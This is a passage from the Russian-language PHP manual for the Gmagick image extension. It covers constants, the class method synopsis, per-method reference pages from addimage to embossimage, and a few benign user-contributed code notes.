Gmagick::RESOURCETYPE_DISK (int)
Gmagick::RESOURCETYPE_FILE (int)
Gmagick::RESOURCETYPE_MAP (int)
Gmagick::RESOURCETYPE_MEMORY (int)
Константы ориентации
Gmagick::ORIENTATION_UNDEFINED (int)
Gmagick::ORIENTATION_TOPLEFT (int)
Gmagick::ORIENTATION_TOPRIGHT (int)
Gmagick::ORIENTATION_BOTTOMRIGHT (int)
Gmagick::ORIENTATION_BOTTOMLEFT (int)
Gmagick::ORIENTATION_LEFTTOP (int)
Gmagick::ORIENTATION_RIGHTTOP (int)
Gmagick::ORIENTATION_RIGHTBOTTOM (int)
Gmagick::ORIENTATION_LEFTBOTTOM (int)
Константы чересстрочной развёртки
Gmagick::INTERLACE_UNDEFINED (int)
Gmagick::INTERLACE_NO (int)
Gmagick::INTERLACE_NONE (int)
Gmagick::INTERLACE_LINE (int)
Gmagick::INTERLACE_PLANE (int)
Gmagick::INTERLACE_PARTITION (int)

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Следующий код демонстрирует часто используемые операции Gmagick над изображениями.

Пример #1 Примеры использования Gmagick

<?php
// Создаём новый объект Gmagick
$image = new Gmagick('example.jpg');

// Создаём уменьшенную копию изображения. 0 для сохранения пропорций.
$image->thumbnailimage(100, 0);

// Создаём рамку вокруг изображения, после чего накладываем эффект масляной краски
// Обратите внимание на цепочки преобразующих методов, поддерживаемых в gmagick
$image->borderimage("yellow", 8, 8)->oilpaintimage(0.3);

// Записываем полученное изображение в файл
$image->write('example_thumbnail.jpg');
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Gmagick

(PECL gmagick >= Unknown)

Введение

Обзор классов

class Gmagick {
/* Методы */
public __construct(string $filename = ?)
public addimage(Gmagick $source): Gmagick
public addnoiseimage(int $noise_type): Gmagick
public annotateimage(
GmagickDraw $GmagickDraw,
float $x,
float $y,
float $angle,
string $text
): Gmagick
public blurimage(float $radius, float $sigma, int $channel = ?): Gmagick
public borderimage(GmagickPixel $color, int $width, int $height): Gmagick
public charcoalimage(float $radius, float $sigma): Gmagick
public chopimage(
int $width,
int $height,
int $x,
int $y
): Gmagick
public clear(): Gmagick
public commentimage(string $comment): Gmagick
public compositeimage(
Gmagick $source,
int $COMPOSE,
int $x,
int $y
): Gmagick
public cropimage(
int $width ,
int $height ,
int $x,
int $y
): Gmagick
public cropthumbnailimage(int $width, int $height): Gmagick
public current(): Gmagick
public cyclecolormapimage(int $displace): Gmagick
public deconstructimages(): Gmagick
public despeckleimage(): Gmagick
public destroy(): bool
public drawimage(GmagickDraw $GmagickDraw): Gmagick
public edgeimage(float $radius): Gmagick
public embossimage(float $radius, float $sigma): Gmagick
public enhanceimage(): Gmagick
public equalizeimage(): Gmagick
public flipimage(): Gmagick
public flopimage(): Gmagick
public frameimage(
GmagickPixel $color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): Gmagick
public gammaimage(float $gamma): Gmagick
public getcopyright(): string
public getfilename(): string
public getimagebackgroundcolor(): GmagickPixel
public getimageblueprimary(): array
public getimagebordercolor(): GmagickPixel
public getimagechanneldepth(int $channel_type): int
public getimagecolors(): int
public getimagecolorspace(): int
public getimagecompose(): int
public getimagedelay(): int
public getimagedepth(): int
public getimagedispose(): int
public getimageextrema(): array
public getimagefilename(): string
public getimageformat(): string
public getimagegamma(): float
public getimagegreenprimary(): array
public getimageheight(): int
public getimagehistogram(): array
public getimageindex(): int
public getimageinterlacescheme(): int
public getimageiterations(): int
public getimagematte(): int
public getimagemattecolor(): GmagickPixel
public getimageprofile(string $name): string
public getimageredprimary(): array
public getimagerenderingintent(): int
public getimageresolution(): array
public getimagescene(): int
public getimagesignature(): string
public getimagetype(): int
public getimageunits(): int
public getimagewhitepoint(): array
public getimagewidth(): int
public getpackagename(): string
public getquantumdepth(): array
public getreleasedate(): string
public getsamplingfactors(): array
public getsize(): array
public getversion(): array
public hasnextimage(): mixed
public haspreviousimage(): mixed
public implodeimage(float $radius): mixed
public labelimage(string $label): mixed
public levelimage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Gmagick::CHANNEL_DEFAULT
): mixed
public magnifyimage(): mixed
public mapimage(gmagick $gmagick, bool $dither): Gmagick
public medianfilterimage(float $radius): void
public minifyimage(): Gmagick
public modulateimage(float $brightness, float $saturation, float $hue): Gmagick
public motionblurimage(float $radius, float $sigma, float $angle): Gmagick
public newimage(
int $width,
int $height,
string $background,
string $format = ?
): Gmagick
public nextimage(): bool
public normalizeimage(int $channel = ?): Gmagick
public oilpaintimage( float $radius ): Gmagick
public previousimage(): bool
public profileimage(string $name, string $profile): Gmagick
public quantizeimage(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick
public quantizeimages(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick
public queryfontmetrics(GmagickDraw $draw, string $text): array
public queryfonts(string $pattern = "*"): array
public queryformats(string $pattern = "*"): array
public radialblurimage(float $angle, int $channel = Gmagick::CHANNEL_DEFAULT): Gmagick
public raiseimage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): Gmagick
public read(string $filename): Gmagick
public readimage(string $filename): Gmagick
public readimageblob(string $imageContents, string $filename = ?): Gmagick
public readimagefile(resource $fp, string $filename = ?): Gmagick
public reducenoiseimage(float $radius): Gmagick
public removeimage(): Gmagick
public removeimageprofile(string $name): string
public resampleimage(
float $xResolution,
float $yResolution,
int $filter,
float $blur
): Gmagick
public resizeimage(
int $width,
int $height,
int $filter,
float $blur,
bool $fit = false
): Gmagick
public rollimage(int $x, int $y): Gmagick
public rotateimage(mixed $color, float $degrees): Gmagick
public scaleimage(int $width, int $height, bool $fit = false): Gmagick
public separateimagechannel(int $channel): Gmagick
setCompressionQuality( int $quality = 75 ): Gmagick
public setfilename(string $filename): Gmagick
public setimagebackgroundcolor(GmagickPixel $color): Gmagick
public setimageblueprimary(float $x, float $y): Gmagick
public setimagebordercolor(GmagickPixel $color): Gmagick
public setimagechanneldepth(int $channel, int $depth): Gmagick
public setimagecolorspace(int $colorspace): Gmagick
public setimagecompose(int $composite): Gmagick
public setimagedelay(int $delay): Gmagick
public setimagedepth(int $depth): Gmagick
public setimagedispose(int $disposeType): Gmagick
public setimagefilename(string $filename): Gmagick
public setimageformat(string $imageFormat): Gmagick
public setimagegamma(float $gamma): Gmagick
public setimagegreenprimary(float $x, float $y): Gmagick
public setimageindex(int $index): Gmagick
public setimageinterlacescheme(int $interlace): Gmagick
public setimageiterations(int $iterations): Gmagick
public setimageprofile(string $name, string $profile): Gmagick
public setimageredprimary(float $x, float $y): Gmagick
public setimagerenderingintent(int $rendering_intent): Gmagick
public setimageresolution(float $xResolution, float $yResolution): Gmagick
public setimagescene(int $scene): Gmagick
public setimagetype(int $imgType): Gmagick
public setimageunits(int $resolution): Gmagick
public setimagewhitepoint(float $x, float $y): Gmagick
public setsamplingfactors(array $factors): Gmagick
public setsize(int $columns, int $rows): Gmagick
public shearimage(mixed $color, float $xShear, float $yShear): Gmagick
public solarizeimage(int $threshold): Gmagick
public spreadimage(float $radius): Gmagick
public stripimage(): Gmagick
public swirlimage(float $degrees): Gmagick
public thumbnailimage(int $width, int $height, bool $fit = false): Gmagick
public trimimage(float $fuzz): Gmagick
public writeimage(string $filename, bool $all_frames = false): Gmagick
}

Содержание

  • Gmagick::addimage — Добавление нового изображения в список изображений объекта Gmagick
  • Gmagick::addnoiseimage — Добавляет случайный шум к изображению
  • Gmagick::annotateimage — Подписать изображение текстом
  • Gmagick::blurimage — Добавить размытие изображению
  • Gmagick::borderimage — Добавить рамку к изображению
  • Gmagick::charcoalimage — Имитация рисования углём
  • Gmagick::chopimage — Удаляет область изображения и подрезает его
  • Gmagick::clear — Зачищает все ресурсы, связанные с объектом Gmagick
  • Gmagick::commentimage — Добавить комментарий к изображению
  • Gmagick::compositeimage — Накладывает одно изображение на другое
  • Gmagick::__construct — Конструктор объекта Gmagick
  • Gmagick::cropimage — Обрезает изображение
  • Gmagick::cropthumbnailimage — Создание обрезанного уменьшенного изображения
  • Gmagick::current — Вернуть самого себя
  • Gmagick::cyclecolormapimage — Смещает цветовую карту изображения
  • Gmagick::deconstructimages — Возвращает определённые пиксельные различия между изображениями
  • Gmagick::despeckleimage — Назначение despeckleimage
  • Gmagick::destroy — Уничтожить объект Gmagick
  • Gmagick::drawimage — Отображает объект GmagickDraw на текущем изображении
  • Gmagick::edgeimage — Увеличивает края в изображении
  • Gmagick::embossimage — Возвращает изображение в градациях серого с трёхмерным эффектом
  • Gmagick::enhanceimage — Улучшает качество изображения с шумом
  • Gmagick::equalizeimage — Выравнивает гистограмму изображения
  • Gmagick::flipimage — Создаёт вертикальное зеркальное отображение
  • Gmagick::flopimage — Создаёт горизонтальное зеркальное отображение
  • Gmagick::frameimage — Добавляет смоделированную трёхмерную границу
  • Gmagick::gammaimage — Гамма-коррекция изображения
  • Gmagick::getcopyright — Возвращает копирайт GraphicsMagick API в виде строки
  • Gmagick::getfilename — Возвращает имя файла связанного с последовательностью изображений
  • Gmagick::getimagebackgroundcolor — Возвращает цвет фона изображения
  • Gmagick::getimageblueprimary — Возвращает цветность синей первичной точки
  • Gmagick::getimagebordercolor — Возвращает цвет границы изображения
  • Gmagick::getimagechanneldepth — Получает глубину для определённого канала изображения
  • Gmagick::getimagecolors — Возвращает цвет указанного индекса карты цветов
  • Gmagick::getimagecolorspace — Возвращает цветовое пространство изображения
  • Gmagick::getimagecompose — Возвращает составной оператор, связанный с изображением
  • Gmagick::getimagedelay — Получает задержку изображения
  • Gmagick::getimagedepth — Получает глубину изображения
  • Gmagick::getimagedispose — Получает метод удаления изображения
  • Gmagick::getimageextrema — Получает экстремумы для изображения
  • Gmagick::getimagefilename — Возвращает имя файла конкретного изображения в последовательности
  • Gmagick::getimageformat — Возвращает формат конкретного изображения в последовательности
  • Gmagick::getimagegamma — Возвращает гамму изображения
  • Gmagick::getimagegreenprimary — Возвращает первичную зелёную точку
  • Gmagick::getimageheight — Возвращает высоту изображения
  • Gmagick::getimagehistogram — Возвращает гистограмму изображения
  • Gmagick::getimageindex — Возвращает индекс текущего активного изображения
  • Gmagick::getimageinterlacescheme — Получает схему чередования изображений
  • Gmagick::getimageiterations — Получает итерации изображения
  • Gmagick::getimagematte — Проверяет, есть ли на изображении матовый канал
  • Gmagick::getimagemattecolor — Возвращает изображение матового цвета
  • Gmagick::getimageprofile — Возвращает именованный профайл изображения
  • Gmagick::getimageredprimary — Возвращает первичную красную точку
  • Gmagick::getimagerenderingintent — Получает цель рендеринга изображения
  • Gmagick::getimageresolution — Возвращает разрешение изображения
  • Gmagick::getimagescene — Получает сцену изображения
  • Gmagick::getimagesignature — Создаёт подпись сообщения SHA-256
  • Gmagick::getimagetype — Возвращает потенциальный тип изображения
  • Gmagick::getimageunits — Возвращает единицы разрешения изображения
  • Gmagick::getimagewhitepoint — Возвращает хроматическую белую точку
  • Gmagick::getimagewidth — Возвращает ширину изображения
  • Gmagick::getpackagename — Возвращает имя пакета GraphicsMagick
  • Gmagick::getquantumdepth — Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки
  • Gmagick::getreleasedate — Возвращает дату релиза GraphicsMagick в виде строки
  • Gmagick::getsamplingfactors — Возвращает вертикальный и горизонтальный фактор дискретизации
  • Gmagick::getsize — Возвращает размер, связанный с объектом Gmagick
  • Gmagick::getversion — Возвращает версию GraphicsMagick API
  • Gmagick::hasnextimage — Проверяет, есть ли ещё изображения в объекте
  • Gmagick::haspreviousimage — Проверяет, есть ли ещё изображения в объекте при итерации назад
  • Gmagick::implodeimage — Создаёт копию изображения
  • Gmagick::labelimage — Добавляет метку к изображению
  • Gmagick::levelimage — Регулирует уровни изображения
  • Gmagick::magnifyimage — Пропорционально масштабирует изображение в 2 раза
  • Gmagick::mapimage — Заменяет цвета изображения на ближайший цвет из эталонного изображения
  • Gmagick::medianfilterimage — Применяет цифровой фильтр
  • Gmagick::minifyimage — Масштабирует изображение пропорционально половине его размера
  • Gmagick::modulateimage — Управляет яркостью, насыщенностью и оттенком
  • Gmagick::motionblurimage — Имитирует размытие при движении
  • Gmagick::newimage — Создаёт новое изображение
  • Gmagick::nextimage — Осуществляет переход к следующему изображению
  • Gmagick::normalizeimage — Повышает контрастность цветного изображения
  • Gmagick::oilpaintimage — Имитирует эффект картины маслом
  • Gmagick::previousimage — Осуществляет переход к предыдущему изображению в объекте
  • Gmagick::profileimage — Добавляет или удаляет профиль из изображения
  • Gmagick::quantizeimage — Анализирует цвета эталонного изображения
  • Gmagick::quantizeimages — Анализирует цвета в последовательности изображений
  • Gmagick::queryfontmetrics — Возвращает массив, представляющий метрики шрифта
  • Gmagick::queryfonts — Возвращает настроенные шрифты
  • Gmagick::queryformats — Возвращает форматы, поддерживаемые Gmagick
  • Gmagick::radialblurimage — Применяет радиальное размытие к изображению
  • Gmagick::raiseimage — Создаёт имитацию эффекта трёхмерной кнопки
  • Gmagick::read — Читает изображение из файла
  • Gmagick::readimage — Читает изображение из файла
  • Gmagick::readimageblob — Читает изображение из бинарной строки
  • Gmagick::readimagefile — Читает изображение или последовательность изображений из файлового дескриптора
  • Gmagick::reducenoiseimage — Сглаживает контуры изображения
  • Gmagick::removeimage — Удаляет изображение из списка
  • Gmagick::removeimageprofile — Удаляет именованный профайл изображения и возвращает его
  • Gmagick::resampleimage — Изменяет разрешение изображения до желаемого
  • Gmagick::resizeimage — Масштабирует изображение
  • Gmagick::rollimage — Смещает изображение
  • Gmagick::rotateimage — Поворачивает изображение
  • Gmagick::scaleimage — Масштабирует размер изображения
  • Gmagick::separateimagechannel — Отделяет канал от изображения
  • Gmagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию
  • Gmagick::setfilename — Устанавливает имя файла перед чтением или записью изображения
  • Gmagick::setimagebackgroundcolor — Устанавливает цвет фона изображения
  • Gmagick::setimageblueprimary — Устанавливает цветность изображения голубой основной точкой
  • Gmagick::setimagebordercolor — Устанавливает цвет рамки изображения
  • Gmagick::setimagechanneldepth — Устанавливает глубину определённого канала изображения
  • Gmagick::setimagecolorspace — Устанавливает цветовое пространство изображения
  • Gmagick::setimagecompose — Устанавливает оператор составного изображения
  • Gmagick::setimagedelay — Устанавливает задержку изображения
  • Gmagick::setimagedepth — Устанавливает глубину изображения
  • Gmagick::setimagedispose — Устанавливает метод удаления изображения
  • Gmagick::setimagefilename — Устанавливает имя файла конкретного изображения в последовательности
  • Gmagick::setimageformat — Устанавливает формат определённого изображения
  • Gmagick::setimagegamma — Устанавливает гамму изображения
  • Gmagick::setimagegreenprimary — Устанавливает цветность изображения зелёной первичной точкой
  • Gmagick::setimageindex — Устанавливает итератор в положение в списке изображений, заданном параметром index
  • Gmagick::setimageinterlacescheme — Устанавливает схему чересстрочной развёртки изображения
  • Gmagick::setimageiterations — Устанавливает итерации изображения
  • Gmagick::setimageprofile — Добавляет именованный профиль в объект Gmagick
  • Gmagick::setimageredprimary — Устанавливает цветность изображения красной основной точкой
  • Gmagick::setimagerenderingintent — Устанавливает способ рендеринга изображения
  • Gmagick::setimageresolution — Устанавливает разрешение изображения
  • Gmagick::setimagescene — Устанавливает сцену изображения
  • Gmagick::setimagetype — Устанавливает тип изображения
  • Gmagick::setimageunits — Устанавливает единицы разрешения изображения
  • Gmagick::setimagewhitepoint — Устанавливает цветность изображения белой точкой
  • Gmagick::setsamplingfactors — Устанавливает факторы выборки изображения
  • Gmagick::setsize — Устанавливает размер объекта Gmagick
  • Gmagick::shearimage — Создаёт параллелограмм
  • Gmagick::solarizeimage — Применяет соляризационный эффект к изображению
  • Gmagick::spreadimage — Случайно смещает каждый пиксель в блоке
  • Gmagick::stripimage — Снимает изображение всех профилей и комментариев
  • Gmagick::swirlimage — Закручивает пиксели вокруг центра изображения
  • Gmagick::thumbnailimage — Изменяет размер изображения
  • Gmagick::trimimage — Удаляет края с изображения
  • Gmagick::write — Псевдоним Gmagick::writeimage
  • Gmagick::writeimage — Записывает изображение в указанный файл

User Contributed Notes

robert at cesaric dot com 24-Jun-2011 06:27
getNumberImages() isn't documented here but it is available.  You can look at ImageMagick documentation for use.


Добавление нового изображения в список изображений объекта Gmagick

  • « Gmagick
  • Gmagick::addnoiseimage »
  • PHP Manual
  • Gmagick
  • Добавление нового изображения в список изображений объекта Gmagick

Gmagick::addimage

(PECL gmagick >= Unknown)

Gmagick::addimage — Добавление нового изображения в список изображений объекта Gmagick

Описание

public Gmagick::addimage(Gmagick $source): Gmagick

Добавление нового изображения в объект Gmagick с текущей позиции объекта источника. После добавления итератор позиции смещается в конец списка.

Список параметров

source

Объект источник Gmagick

Возвращаемые значения

Объект Gmagick с добавленным изображением

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет случайный шум к изображению

  • « Gmagick::addimage
  • Gmagick::annotateimage »
  • PHP Manual
  • Gmagick
  • Добавляет случайный шум к изображению

Gmagick::addnoiseimage

(PECL gmagick >= Unknown)

Gmagick::addnoiseimage — Добавляет случайный шум к изображению

Описание

public Gmagick::addnoiseimage(int $noise_type): Gmagick

Добавляет случайный шум к изображению.

Список параметров

noise_type

Тип шума. Смотрите список констант типа шума.

Возвращаемые значения

Объект Gmagick с добавленным шумом.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Подписать изображение текстом

  • « Gmagick::addnoiseimage
  • Gmagick::blurimage »
  • PHP Manual
  • Gmagick
  • Подписать изображение текстом

Gmagick::annotateimage

(PECL gmagick >= Unknown)

Gmagick::annotateimage — Подписать изображение текстом

Описание

public Gmagick::annotateimage(
GmagickDraw $GmagickDraw,
float $x,
float $y,
float $angle,
string $text
): Gmagick

Подписать изображение текстом.

Список параметров

GmagickDraw

Объект GmagickDraw, содержащий настройки для отрисовки текста.

x

Горизонтальное смещение левого края текста в пикселях.

y

Вертикальное смещение базовой линии текста в пикселях.

angle

Угол, под которым размещать текст.

text

Текст.

Возвращаемые значения

Объект Gmagick с добавленной аннотацией.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавить размытие изображению

  • « Gmagick::annotateimage
  • Gmagick::borderimage »
  • PHP Manual
  • Gmagick
  • Добавить размытие изображению

Gmagick::blurimage

(PECL gmagick >= Unknown)

Gmagick::blurimage — Добавить размытие изображению

Описание

public Gmagick::blurimage(float $radius, float $sigma, int $channel = ?): Gmagick

Добавить размытие изображению.

Список параметров

radius

Радиус размытия

sigma

Стандартное отклонение

Возвращаемые значения

Размытый объект Gmagick

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавить рамку к изображению

  • « Gmagick::blurimage
  • Gmagick::charcoalimage »
  • PHP Manual
  • Gmagick
  • Добавить рамку к изображению

Gmagick::borderimage

(PECL gmagick >= Unknown)

Gmagick::borderimage — Добавить рамку к изображению

Описание

public Gmagick::borderimage(GmagickPixel $color, int $width, int $height): Gmagick

Добавить рамку к изображению. Цвет рамки задаётся строкой, либо цветом фона объекта GmagickPixel.

Список параметров

color

Объект GmagickPixel object или строка, определяющая цвет рамки.

width

Толщина рамки.

height

Высота рамки.

Возвращаемые значения

Объект Gmagick с добавленной рамкой.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Имитация рисования углём

  • « Gmagick::borderimage
  • Gmagick::chopimage »
  • PHP Manual
  • Gmagick
  • Имитация рисования углём

Gmagick::charcoalimage

(PECL gmagick >= Unknown)

Gmagick::charcoalimage — Имитация рисования углём

Описание

public Gmagick::charcoalimage(float $radius, float $sigma): Gmagick

Имитация рисования углём.

Список параметров

radius

Радиус гауссианы в пикселях, не считая центрального пикселя.

sigma

Стандартное отклонение гауссианы в пикселях.

Возвращаемые значения

Объект Gmagick с добавленным эффектом рисования углём.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет область изображения и подрезает его

  • « Gmagick::charcoalimage
  • Gmagick::clear »
  • PHP Manual
  • Gmagick
  • Удаляет область изображения и подрезает его

Gmagick::chopimage

(PECL gmagick >= Unknown)

Gmagick::chopimage — Удаляет область изображения и подрезает его

Описание

public Gmagick::chopimage(
int $width,
int $height,
int $x,
int $y
): Gmagick

Удаляет область изображения и схлопывает его так, чтобы занять удалённую область.

Список параметров

width

Ширина вырезаемого участка.

height

Высота вырезаемого участка.

x

Горизонтальное смещение начала вырезки.

y

Вертикальное смещение начала вырезки.

Возвращаемые значения

Получившийся объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Зачищает все ресурсы, связанные с объектом Gmagick

  • « Gmagick::chopimage
  • Gmagick::commentimage »
  • PHP Manual
  • Gmagick
  • Зачищает все ресурсы, связанные с объектом Gmagick

Gmagick::clear

(PECL gmagick >= Unknown)

Gmagick::clear — Зачищает все ресурсы, связанные с объектом Gmagick

Описание

public Gmagick::clear(): Gmagick

Зачищает все ресурсы, связанные с объектом Gmagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Очищенный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавить комментарий к изображению

  • « Gmagick::clear
  • Gmagick::compositeimage »
  • PHP Manual
  • Gmagick
  • Добавить комментарий к изображению

Gmagick::commentimage

(PECL gmagick >= Unknown)

Gmagick::commentimage — Добавить комментарий к изображению

Описание

public Gmagick::commentimage(string $comment): Gmagick

Добавляет комментарий к изображению.

Список параметров

comment

Комментарий.

Возвращаемые значения

Получившийся объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Накладывает одно изображение на другое

  • « Gmagick::commentimage
  • Gmagick::__construct »
  • PHP Manual
  • Gmagick
  • Накладывает одно изображение на другое

Gmagick::compositeimage

(PECL gmagick >= Unknown)

Gmagick::compositeimage — Накладывает одно изображение на другое

Описание

public Gmagick::compositeimage(
Gmagick $source,
int $COMPOSE,
int $x,
int $y
): Gmagick

Накладывает одно изображение на другое с указанным смещением.

Список параметров

source

Объект Gmagick, который содержит составное изображение.

compose

Композитный оператор.

x

Смещение столбца составного изображения.

y

Смещение строки составного изображения.

Возвращаемые значения

Объект Gmagick с композициями.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

Paul Janik 07-Sep-2011 06:59
The second parameter, $COMPOSE, has 3 usable values:

1 = the image is displayed normally;
2 = the image is displayed on a white background;
3 = the image is display in black on a white background;

Paul.
wallace Lau kok poh 04-Aug-2011 12:03
Quick script for stamping a small image on a large image

#!/usr/bin/php
<?php
//  <wallace@wallacelau.com>
//Instantiate a new Gmagick object
$imgMain = new Gmagick('Torso_F.tiff');

// get the image width
$width = (int) ($imgMain->getimagewidth() /2) - 150;

//Instantiate a barcode img Gmagick object
$imgBarcode = new Gmagick('barcode.jpeg');

//stamp the barcode on top of the Main image
$imgMain->compositeimage($imgBarcode, 1, $width, 150);
//Write the current image at the current state to a file
$imgMain->write('withBarcode.tiff');

?>


Конструктор объекта Gmagick

  • « Gmagick::compositeimage
  • Gmagick::cropimage »
  • PHP Manual
  • Gmagick
  • Конструктор объекта Gmagick

Gmagick::__construct

(PECL gmagick >= Unknown)

Gmagick::__construct — Конструктор объекта Gmagick

Описание

public Gmagick::__construct(string $filename = ?)

Конструктор объекта Gmagick.

Список параметров

filename

Путь к загружаемому изображению, либо массив путей.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Обрезает изображение

  • « Gmagick::__construct
  • Gmagick::cropthumbnailimage »
  • PHP Manual
  • Gmagick
  • Обрезает изображение

Gmagick::cropimage

(PECL gmagick >= Unknown)

Gmagick::cropimage — Обрезает изображение

Описание

public Gmagick::cropimage(
int $width ,
int $height ,
int $x,
int $y
): Gmagick

Обрезает изображение.

Список параметров

width

Ширина сохраняемого участка.

height

Высота сохраняемого участка.

x

X координата левого верхнего угла сохраняемой области.

y

Y координата левого верхнего угла сохраняемой области.

Возвращаемые значения

Обрезанный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

martin at arp242 dot net 22-Jun-2011 12:52
A slight note since this is not immediately obvious:
Just as the C CropImage() function, you can specify all zero parameters to get an "autocrop" effect, meaning it will remove all single-color "edges" of an image.


Создание обрезанного уменьшенного изображения

  • « Gmagick::cropimage
  • Gmagick::current »
  • PHP Manual
  • Gmagick
  • Создание обрезанного уменьшенного изображения

Gmagick::cropthumbnailimage

(PECL gmagick >= Unknown)

Gmagick::cropthumbnailimage — Создание обрезанного уменьшенного изображения

Описание

public Gmagick::cropthumbnailimage(int $width, int $height): Gmagick

Создаёт уменьшенное изображение фиксированного размера, сначала применяя масштабирование, а после вырезая необходимую область из центра.

Список параметров

width

Ширина целевого изображения.

height

Высота целевого изображения.

Возвращаемые значения

Получившийся объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вернуть самого себя

  • « Gmagick::cropthumbnailimage
  • Gmagick::cyclecolormapimage »
  • PHP Manual
  • Gmagick
  • Вернуть самого себя

Gmagick::current

(PECL gmagick >= Unknown)

Gmagick::current — Вернуть самого себя

Описание

public Gmagick::current(): Gmagick

Возвращает ссылку на текущий объект gmagick с установленным указателем изображения в правильной последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает самого себя.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Смещает цветовую карту изображения

  • « Gmagick::current
  • Gmagick::deconstructimages »
  • PHP Manual
  • Gmagick
  • Смещает цветовую карту изображения

Gmagick::cyclecolormapimage

(PECL gmagick >= Unknown)

Gmagick::cyclecolormapimage — Смещает цветовую карту изображения

Описание

public Gmagick::cyclecolormapimage(int $displace): Gmagick

Смещает цветовую карту изображения на заданное количество позиций. Если вы циклически изменяете цветовую карту несколько раз, вы можете произвести психоделический эффект.

Список параметров

displace

Количество смещений карты цветов.

Возвращаемые значения

Возвращает себя в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает определённые пиксельные различия между изображениями

  • « Gmagick::cyclecolormapimage
  • Gmagick::despeckleimage »
  • PHP Manual
  • Gmagick
  • Возвращает определённые пиксельные различия между изображениями

Gmagick::deconstructimages

(PECL gmagick >= Unknown)

Gmagick::deconstructimages — Возвращает определённые пиксельные различия между изображениями

Описание

public Gmagick::deconstructimages(): Gmagick

Сравнивает каждое изображение со следующим в последовательности и возвращает максимальную ограничивающую область любых обнаруженных различий пикселей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новый объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Назначение despeckleimage

  • « Gmagick::deconstructimages
  • Gmagick::destroy »
  • PHP Manual
  • Gmagick
  • Назначение despeckleimage

Gmagick::despeckleimage

(PECL gmagick >= Unknown)

Gmagick::despeckleimage — Назначение despeckleimage

Описание

public Gmagick::despeckleimage(): Gmagick

Уменьшает спекл-шум на изображении, сохраняя края исходного изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick с уменьшенным спекл-шумом в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Gmagick::despeckleimage()

<?php
/* ... */
?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Уничтожить объект Gmagick

  • « Gmagick::despeckleimage
  • Gmagick::drawimage »
  • PHP Manual
  • Gmagick
  • Уничтожить объект Gmagick

Gmagick::destroy

(PECL gmagick >= Unknown)

Gmagick::destroy — Уничтожить объект Gmagick

Описание

public Gmagick::destroy(): bool

Уничтожить объект Gmagick и освободить все выделенные ему ресурсы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отображает объект GmagickDraw на текущем изображении

  • « Gmagick::destroy
  • Gmagick::edgeimage »
  • PHP Manual
  • Gmagick
  • Отображает объект GmagickDraw на текущем изображении

Gmagick::drawimage

(PECL gmagick >= Unknown)

Gmagick::drawimage — Отображает объект GmagickDraw на текущем изображении

Описание

public Gmagick::drawimage(GmagickDraw $GmagickDraw): Gmagick

Отображает объект GmagickDraw на текущем изображении

Список параметров

GmagickDraw

Операции рисования для отображения на изображении.

Возвращаемые значения

Нарисованный объект Gmagick

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает края в изображении

  • « Gmagick::drawimage
  • Gmagick::embossimage »
  • PHP Manual
  • Gmagick
  • Увеличивает края в изображении

Gmagick::edgeimage

(PECL gmagick >= Unknown)

Gmagick::edgeimage — Увеличивает края в изображении

Описание

public Gmagick::edgeimage(float $radius): Gmagick

Увеличивает края в изображении с помощью фильтра свёртки данного радиуса. Используйте радиус 0, и он будет выбран автоматически.

Список параметров

radius

Радиус операции.

Возвращаемые значения

Объект Gmagick с увеличенными краями.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает изображение в градациях серого с трёхмерным эффектом

  • « Gmagick::edgeimage
  • Gmagick::enhanceimage »
  • PHP Manual
  • Gmagick
